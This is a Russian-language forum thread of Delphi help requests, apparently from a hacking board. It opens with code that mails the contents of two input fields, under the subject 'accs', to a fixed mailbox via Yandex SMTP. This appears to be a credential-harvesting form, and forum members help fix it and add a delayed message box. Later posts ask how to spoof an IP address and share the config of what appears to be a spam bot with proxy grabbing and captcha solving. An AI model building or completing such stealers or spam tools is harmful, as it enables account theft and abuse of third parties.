как сделать что бы после procedure TForm1.Button1Click(Sender: TObject); begin IdSMTP1.Host:='smtp.yandex.ru'; IdSMTP1.Port:=25; IdSMTP1.Username:='1; IdSMTP1.Password:='1'; IdMessage1.Body.Text:=' '+memo1.Text+' ;'+memo3.Text; IdMessage1.From.Text:='[email protected]'; IdMessage1.Recipients.EMailAddresses:='[email protected]'; IdMessage1.Subject:='accs'; IdSMTP1.AuthenticationType := atLogin; IdSMTP1.Connect(); if IdSMTP1.Connected=true then IdSMTP1.Send(IdMessage1); IdSMTP1.Disconnect end; подскажите как сделать что бы после этой процедуры через определённое время вылетало ShowMessage с моим текстом...
mailbrush ну видимо не может выйти из цикла т.к. (r > 0) выполняется stepashka_ ну просто вставить ShowMesssage('Твой текст') после Disconnect. если я правильно тебя понял через время..положи на форму TTimer. Enabled задай в false. На обработчиr OnTimer посади ShowMesssage('Твой текст') А в коде процедуры добавь: Timer1.Interval := //тут твое время в миллисекундах Timer1.Enbled := True;
Если добавить в конец то ShowMessage будет вылазить после запуска проги) а мне нужно что бы оно открывалось после нажатия на кнопку например через 10секунд))
сделай такую процедуру: PHP: Procedure MySleep(Sec:Integer); Var I:Integer; Begin For I:=1 to Sec do begin Sleep(1000); Application.ProcessMessages; end; end; потом в кнопке ссылайся на нее MySleep(тут количество секунд); Showmessage('Hello');
неа пробую вот так procedure TForm1.Button1Click(Sender: TObject); begin IdSMTP1.Host:='smtp.yandex.ru'; IdSMTP1.Port:=25; IdSMTP1.Username:='1; IdSMTP1.Password:='1'; IdMessage1.Body.Text:=' '+memo1.Text+' ;'+memo3.Text; IdMessage1.From.Text:='[email protected]'; IdMessage1.Recipients.EMailAddresses:='[email protected]'; IdMessage1.Subject:='accs'; IdSMTP1.AuthenticationType := atLogin; IdSMTP1.Connect(); if IdSMTP1.Connected=true then IdSMTP1.Send(IdMessage1); IdSMTP1.Disconnect; Sleep(10000); //ждём 10 сек ShowMessage('ТУТ то что нод выводить'); Close; end; вылетает при компиляции [Ошибка] Unit1.pas(76): Missing operator or semicolon [Фатальная Ошибка] Project1.dpr(5): Could not compile used unit 'Unit1.pas' красная строка на Sleep(10000); //ждём 10 сек
Как нет то.. у тя вот так должно быть: PHP: Procedure MySleep(Sec:Integer); Var I:Integer; Begin For I:=1 to Sec do begin Sleep(1000); Application.ProcessMessages; end; end; procedure TForm1.Button1Click(Sender: TObject); begin IdSMTP1.Host:='smtp.yandex.ru'; IdSMTP1.Port:=25; IdSMTP1.Username:='1'; //вот тут у тя ковычки не хватало! IdSMTP1.Password:='1'; IdMessage1.Body.Text:=' '+memo1.Text+' ;'+memo3.Text; IdMessage1.From.Text:='[email protected]'; IdMessage1.Recipients.EMailAddresses:='[email protected]'; IdMessage1.Subject:='accs'; IdSMTP1.AuthenticationType := atLogin; IdSMTP1.Connect(); if IdSMTP1.Connected=true then IdSMTP1.Send(IdMessage1); IdSMTP1.Disconnect; MySleep(10); //ссылка на процедуру ShowMessage('Текст'); Close; end;
[Ошибка] Unit1.pas(86): Missing operator or semicolon [Ошибка] Unit1.pas(46): Unsatisfied forward or external declaration: 'TForm1.MySleep' [Фатальная Ошибка] Project1.dpr(5): Could not compile used unit 'Unit1.pas'
конечно не обязательно, но чтобы программа не подвисала при приеме/отправке данных - нужно создавать отдельный поток (покрайне мере я другого варианта никогда не встречал (чтобы программа не подвисала при send/recv)) ну а если идет речь о мелких данных (send/recv) то можно и без выд. потока обойтись (с удовольствием послушаю как можно обойтись без createthread при приеме/отправке больших данных (если же такое возможно) )
Привет всем! Подскажите пожалуйста как написать прогу которая будет скрывать мой ip не как прокси, а чтобы можно было любые цифры написать типа: 000.000.000 В Pascal или делфи, если это конечно возможно, то напишите пример пожалуйста! Ну если такого нельзя сделать, то может можно как то скрыть IP через CMD ! Зарание спасибо!)
Code: The GetWindowText function copies the text of the specified window's title bar (if it has one) into a buffer. If the specified window is a control, the text of the control is copied. int GetWindowText( HWND hWnd, // handle of window or control with text LPTSTR lpString, // address of buffer for text int nMaxCount // maximum number of characters to copy ); Parameters hWnd Identifies the window or control containing the text. lpString Points to the buffer that will receive the text. nMaxCount Specifies the maximum number of characters to copy to the buffer. If the text exceeds this limit, it is truncated. Return Values If the function succeeds, the return value is the length, in characters, of the copied string, not including the terminating null character. If the window has no title bar or text, if the title bar is empty, or if the window or control handle is invalid, the return value is zero. To get extended error information, call GetLastError. This function cannot retrieve the text of an edit control in another application. Remarks This function causes a WM_GETTEXT message to be sent to the specified window or control. This function cannot retrieve the text of an edit control in another application.
подскажите плз вот есть прога у нее есть файл ини там было прописанно все кроме тго что я выдили красным цветом usesocks=1 ; таймаут сокса (в секундах) sockstimeout=60 ; кол-во потоков (кол-во одновременно обрабатывающихся акков) maxthread=10 ;msgperacc=0 все сообщения слать разом ;msgperacc=1 одно сообщение = один получатель ;msgperacc=х х сообщений на одного получателя msgperacc=10 ;contactsperacc=0 добавить все контакты ;contactsperacc=х добавить х контактов contactsperacc=0 ; socks grabbing socksurl=http://awmproxy.com/socks_good_proxy.txt sockstuptime=7 ; "судья" для чекинга соксов. соксы не чекаются если если checkurl не задан ;checkurl=http://actualtech.ru/judges/azenv.php ;checkurl=http://citrix.unimatrix-one.com/proxysecurity/azenv.php ;checkurl=http://www.cooleasy.com/azenv.php ;checkurl=http://membres.lycos.fr/proxyworld/azenv.php ;http://members.lycos.nl/proxyworld31/azenv.php ;http://pinkcat.extra.hu/K9/azenv.php ;http://proxyjudge.hell-spy.de/ ;http://proxytest.pr.funpic.de/ ;http://proxywordl.hbg.fr/azenv.php ;http://proxywoorld.ovh.org/azenv.php ;http://proxyworld.ifrance.com/azenv.php ;http://robs.atwebpages.com/azenv.php ;http://sevy.eu.org/azenv.php ;http://www.belgarion.com/images/azenv.php ;http://www.cship.info/azenv.php ;http://www.pr0.net/deny2/azenv.php ;http://www.proxy-heaven.com/azenv.php ;http://www.proxyjudge.biz/az.php ;http://www.proxysecurity.com/azenv.php Retries=2 mobile=1 captchaurl=http://captchabot.com/xmlrpc/axmlrpc.php captchalogin=lol captchapass=yes Мне надо чтобы прга брала с данного линка прокси и обновляла его каждые 7 минут,она добавлять добавляет но не столбиком а просто в строчку и определяет все 500 прокси в строчке как один,что можно дописать чтоб она брала их и ставили строчкой??
Помогите пожалуйста с делфи, точнее с визуальным кодингом. Написал маленьку программу(консольную), надо ее визуально теперь сделать. Книгу начал читать, но до завтра наверно не успею... Кто-то может помочь? Если да отпишитесь пожалуйста в ПМ. Ну или хотя бы какой-то учебник непосредственно по визуальному кодингу(краткое).
